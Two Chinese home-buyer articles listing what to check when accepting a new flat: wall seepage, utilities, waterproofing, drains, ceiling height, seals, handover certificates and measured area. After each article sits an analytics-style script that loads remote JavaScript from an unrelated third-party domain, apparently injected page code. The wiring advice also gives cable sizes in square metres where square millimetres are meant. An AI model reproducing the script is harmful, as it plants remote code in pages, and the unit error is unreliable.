验收新房标准的六大要点你知道吗

现在的房子很多都存在质量问题。所以在新房交付的时候要力所能及的检查，有问题及时追究发展商的责任，不要一味只相信质检站。以下就是验收新房标准的六大要点：墙壁是否渗水、是否通水通电、厨卫防水工程是否合格、排水和排污管道是否堵塞、层高是否达到标准高度、门窗密封性是否合格。1、墙壁是否渗水墙壁是否渗水是验收新房标准之一，也是新房验收首要查看的地方，最好在房子交付前，在下过雨的第二天前往新楼查看墙壁是否渗水。同时也要看墙壁是否有裂痕，避免留下后患。2、是否通水通电如果不打算在后期更换水电的话，在验收新房标准中，水电也是要点之一。这不仅取决于是否通水通电，还取决于电线是否是国家标准的质量并且横截面是否符合要求。通常，电线不能小于2.5平方米，空调电线应达到4平方米。否则，当使用高功率设备时，电线过热时会变软。3、厨卫防水工程是否合格如果在交付前说好有做防水，那么一定要验证清楚厨卫防水工程。不然装修后再发现漏水，维护工程就很大了。4、排水和排污管道是否堵塞验收新房标准还包括验收排水和排污管道。这可以防止工人在施工过程中将水泥渣倒入排水管，在弯道处堵塞水泥渣会导致排水困难。同时，有必要检查是否有蓄水防臭弯头。5、层高是否达到标准高度如果合同有说到层高问题的话，验收新房标准也包括测量楼层高度。2.65米左右是比较正常的高度，低于2.6米会给人一种压抑的感觉。6.门窗是否密封验收门窗的密封性也是验收新房标准之一。窗通常也要在雨天才能试出密封性的好坏，但是也可以退而求次，看密封胶条是否完整牢固。门的话主要是看阳台内外水平差度，水平高度一致大雨天雨水很容易渗进屋里。以上就是验收新房标准的六大要点。其他的验收需要更专业的知识，可以带比较熟悉工程的朋友去验收哦！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新房没验收可以交房吗？验收新房需要注意那些问题

近十几年来，越来越多的人热衷于买房上，这使房地产成了热门行业，不少朋友都购置了新房。那么您认为新房没验收可以交房吗？可以明确的告诉您不能！相关法律、法规明文规定，没有经过竣工验收和备案的房屋，不能交付使用。那么，验收新房时要注意那些问题呢？下面将详细解答新房没验收可以交房吗这个问题。第一、需要查验相关的证书和相关的图表，例如有《住宅质量保证书》、《住宅使用说明》、《竣工验收备案表》、面积实测表及管线分布竣工图等。从这些证书图表也回答了新房没验收可以交房吗这个问题！第二、注意核实面积是否与合同附图一致,结构与原设计图是否相同,房地产管理部门是否对房屋实际测量过,实测面积与合同签订面积存在多少差异。误差在2%左右,可以验收房子了。第三、需要实地检查的具体事项包括以下内容：1、检查房屋质量,比如门窗、阳台等有无开裂,门窗轨道推拉是否顺畅。2、检查墙壁是否平整、渗水、有无裂缝等。3、检查地板有无开裂或空鼓情况。4、检查水电煤气是否通畅能否正常使用。5、检查厨房、卫生间及阳台下水道的通水情况。6、检查厨房、卫生间及阳台地面是否漏水。7、检查水表电表是否空转,看清楚水表电表的数字,并记录下来。8、检查测量房屋楼层高度。朋友这样分析帮助您解决了新房没验收可以交房吗的问题了吧？同时清晰的分析了验收新房时应该注意的问题。其目的是在签字收房前发现问题，这样才能更好的解决发现的问题。衷心希望帮助您解决了没有验收的新房可以收房了吗的问题！祝您验收愉快！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();